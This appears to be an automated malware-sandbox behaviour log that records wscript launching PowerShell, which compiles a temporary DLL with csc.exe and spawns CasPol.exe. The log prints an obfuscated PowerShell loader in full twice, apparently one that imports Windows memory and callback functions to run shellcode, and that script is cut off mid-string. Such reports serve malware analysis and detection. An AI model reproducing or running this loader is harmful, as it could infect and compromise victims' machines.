Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0287B5B0 push es; ret	5_2_0287B5C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07BE7581 push es; ret	5_2_07BE7590
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C48FC1 push ds; ret	5_2_07C48FC2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4C7A0 push DC07C33Fh; ret	5_2_07C4C7A5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F718 pushad ; ret	5_2_07C4F71A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E719 push ebx; ret	5_2_07C4E71A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F71B pushad ; ret	5_2_07C4F722
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F6C1 pushad ; ret	5_2_07C4F6C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F687 pushad ; ret	5_2_07C4F68A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E6B8 push ebx; ret	5_2_07C4E6BA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E6BB push ebx; ret	5_2_07C4E6C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F648 pushad ; ret	5_2_07C4F64A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F5F1 pushad ; ret	5_2_07C4F5F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F5B1 pushad ; ret	5_2_07C4F5B2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F5B3 pushad ; ret	5_2_07C4F5BA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F570 pushad ; ret	5_2_07C4F572
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F573 pushad ; ret	5_2_07C4F57A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E510 push edx; ret	5_2_07C4E512
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F530 pushad ; ret	5_2_07C4F532
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F533 pushad ; ret	5_2_07C4F53A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E4D0 push edx; ret	5_2_07C4E4D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E4D3 push edx; ret	5_2_07C4E4DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E4F0 push edx; ret	5_2_07C4E4F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E4F3 push edx; ret	5_2_07C4E4FA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4F491 pushad ; ret	5_2_07C4F492
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E451 push edx; ret	5_2_07C4E452
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E453 push edx; ret	5_2_07C4E45A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C48468 push ss; ret	5_2_07C4846A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C48348 push ss; ret	5_2_07C48472
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E333 push ecx; ret	5_2_07C4E336
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C4E299 push ecx; ret	5_2_07C4E29A

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.dll

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
